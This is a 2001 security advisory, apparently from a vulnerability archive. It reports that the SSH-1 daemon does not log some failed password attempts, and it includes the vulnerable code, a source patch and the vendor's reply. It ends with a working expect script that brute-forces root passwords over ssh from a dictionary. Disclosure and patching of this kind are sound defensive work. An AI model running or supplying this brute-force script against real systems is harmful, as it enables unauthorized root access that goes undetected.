SSHD-1 Logging Vulnerability

2001-02-06T00:00:00
ID SECURITYVULNS:DOC:1250
Type securityvulns
Reporter Securityvulns
Modified 2001-02-06T00:00:00

Description

Crimelabs, Inc. www.crimelabs.net

                    Security Note
    Crimelabs Security Note CLABS200101

            Title: SSH-1 Brute Force Password Vulnerability
             Date: 5 February, 2001
          Vendors: Any supported by SSH-1
         Versions: At least ssh-1.2.27 and 1.2.30
     Not Affected: OpenSSH
         Severity: Medium to High
           Author: Jose Nazario <jose@crimelabs.net>
          Website: http://www.crimelabs.net/
    Vendor Status: Contacted 1 February, 2001
     Vendor Reply: Fixed in CVS, more below

Introduction

There exists a very simple, but potentially damaging, vulnerability in the SSH version 1 daemon related to the brute forcing of passwords in accounts. By default the daemon does not log up to four unsuccessful attempts at guessing a password or a username/password combination. This allows for the undetected brute forcing of passwords or account/password combinations. An exploit is included. A source code patch to ssh-1.2.30 is also included.

This is unrelated to, but similar to, the problem noted by the J.J.F./Hackers Team at http://www.jjf.org/advisory/SshdJJFen.txt, which noted the failure of the ssh version 2 daemon to not log IP addresses upon connections, leading to an untracable brute force attack.

Impact

Depending on the rules in place at the site, if root logins are allowed (and they are by default) this could lead to a root account compromise if given enough time or a good enough dictionary in relation to the password.

While this can readily be done for other login protocols, including telnet, ftp, and the like, they log failed password attempts, unlike sshd. As such, it becomes possible to hide one's intentions as an attempt is made to brute force accounts.

It is for this reason that we mark the risk factor as "Medium to High".

Crimelabs dissuades allowing ssh root logins for many reasons, including this one. The main argument against it is a lack of accounting on the system, which would be facilitated by 'su' logs. Additional reasons include bypassing the limitations placed on users by 'su' locally, and conformance to traditional UNIX login standards for telnet and rlogin, which disallow root logins.

The Problem Code

Examination of the code reveals this occurs because the message that would otherwise log this message is wrapped around a debug routine:

(file sshd.c from sources 1.2.30, one example)

2673- { 2674- / Log failures if attempted more than once. / 2675: debug("Password authentication failed for user %.100s from %.100s.", 2676- user, get_canonical_hostname()); 2677- }

Patch and Workaround

The following patch should be applied to sshd.c (this is for the 1.2.30 sources), the daemon rebuilt and reinstalled.

Better yet, upgrade to OpenSSH (http://www.openssh.com/). Thanks to everyone on the OpenSSH team for a better product.

The following patch against ssh-1.2.30 code fixes the logging issue for password authentication, RSA authentication, RhostsRSA authentication, and TIS authentication. Kerberos4 appears to still not be logged as a failed password authentication, but Kerberos5 does. Not having a Kerberos infrastructure to test this on, I am unable evaluate this portion of the code.

$ diff -Naur ssh-1.2.30/sshd.c.orig ssh-1.2.30/sshd.c --- ssh-1.2.30/sshd.c.orig Wed Jan 31 12:11:08 2001 +++ ssh-1.2.30/sshd.c Wed Jan 31 12:57:36 2001 @@ -2408,7 +2408,7 @@ remote_user_name = client_user; break; } - debug("Rhosts authentication failed for '%.100s', remote '%.100s', host '%.200s'.", + log_msg("Rhosts authentication failed for '%.100s', remote '%.100s', host '%.200s'.", user, client_user, get_canonical_hostname()); xfree(client_user); break; @@ -2469,7 +2469,7 @@ mpz_clear(&client_host_key_n); break; } - debug("RhostsRSA authentication failed for '%.100s', remote '%.100s', host '%.200s'.", + log_msg("RhostsRSA authentication failed for '%.100s', remote '%.100s', host '%.200s'.", user, client_user, get_canonical_hostname()); xfree(client_user); mpz_clear(&client_host_key_e); @@ -2500,7 +2500,7 @@ break; } mpz_clear(&n); - debug("RSA authentication for %.100s failed.", user); + log_msg("RSA authentication for %.100s failed.", user); } break;

@@ -2633,7 +2633,7 @@ authenticated = 1; break; } else { - debug("TIS authentication for %.100s failed",user); + log_msg("TIS authentication for %.100s failed",user); memset(password, 0, strlen(password)); xfree(password); break; @@ -2672,7 +2672,7 @@ if (password_attempts > 0) { / Log failures if attempted more than once. / - debug("Password authentication failed for user %.100s from %.100s.", + log_msg("Password authentication failed for user %.100s from %.100s.",

                 user, get_canonical_hostname());
         }
       password_attempts++;

@@ -2693,7 +2693,7 @@ authenticated = 1; break; } - debug("Password authentication for %.100s failed.", user); + log_msg("Password authentication for %.100s failed.", user); memset(password, 0, strlen(password)); xfree(password); break;

Vendor Response

Tatu Ylonen was quick to respond. In summary, he noted that the SSH-1 code is depracated, and that the real fix is to move to SSH-2. However, the problem has been fixed in the CVS tree for the version 1 daemon.

Exploit

Because a workaround and a source patch is available for ssh systems vulnerable to this problem, we have devised and are releasing an exploit for this problem. Using the expect language, we can work our way through a dictionary of potential passwords for the root account via the sshd version 1 without detection of our true activities.

Standard disclaimer applies, this is research only, don't use against a live target unless you are authorized to do so, proof of concept, a threshing by your mother, etc.

!/usr/bin/expect -f

simple expect exploit to brute force root's password via ssh without

detection.. see CLABS200101 for info on this exploit.

this is beerware, just buy me a beer at defcon if you like this.

build your own dictionary, use at your own risk, no warranty, etc.

jose@crimelabs.net january, 2001

set timeout 3 set target [lindex $argv 0] set dictionary [lindex $argv 1]

if {[llength $argv] != 2} { puts stderr "Usage: $argv0 root@target dictionary\n" exit }

set tryPass [open $dictionary r]

foreach passwd [split [read $tryPass] "\n"] { spawn ssh $target expect ":" send "$passwd\n" expect "#" { puts "password is $passwd\n" ; exit } set id [exp_pid] exec kill -INT $id }